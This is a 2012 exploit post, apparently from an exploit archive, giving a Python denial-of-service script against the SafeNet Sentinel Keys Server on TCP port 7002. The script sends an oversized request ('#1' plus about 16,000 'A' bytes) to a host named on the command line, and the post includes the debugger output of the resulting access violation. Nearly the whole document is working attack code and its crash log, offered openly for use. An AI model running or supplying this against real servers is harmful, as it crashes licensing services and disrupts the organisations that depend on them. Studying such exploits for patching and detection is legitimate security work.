SafeNet Sentinel Keys Server Denial Of Service

`# Exploit Title: SafeNet Sentinel Keys Server DoS  
# Date: 10 Sep 2012  
# Exploit Author: retset (https://twitter.com/ret5et)  
# Vendor Homepage: http://www.safenet-inc.com/  
# Version: Sentinel Protection Installer v7.6.5 (sntlkeyssrvr.exe ver. 1.3.1.3)  
# Download link: http://c3.safenet-inc.com/downloads/8/0/804F8C5F-F88F-4443-8871-2AD993DC33DB/Sentinel%20Protection%20Installer%207.6.5.exe  
# Download link: http://www.safenet-inc.com/support-downloads/sentinel-drivers/  
# Tested on: Xp Sp3  
  
import socket  
import sys  
  
if len(sys.argv) < 2:  
print "usage: %s host" % sys.argv[0]  
sys.exit(0)  
  
host = sys.argv[1]  
print host  
req = "#1"  
req += 'A' *0x4093  
  
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
s.connect((host,7002))  
s.send(req)  
s.close()  
  
  
"""  
(5ec.6f0): Access violation - code c0000005 (first chance)  
First chance exceptions are reported before any exception handling.  
This exception may be expected and handled.  
eax=00000000 ebx=0045011c ecx=00000003 edx=00b6bf83 esi=00b70000 edi=0045011c  
eip=0040f89b esp=00b65864 ebp=0000407d iopl=0 nv up ei pl zr na pe nc  
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246  
*** ERROR: Module load completed but symbols could not be loaded for C:\Program Files\Common Files\SafeNet Sentinel\Sentinel Keys Server\sntlkeyssrvr.exe  
sntlkeyssrvr+0xf89b:  
0040f89b f3a6 repe cmps byte ptr [esi],byte ptr es:[edi]  
"""  
  
`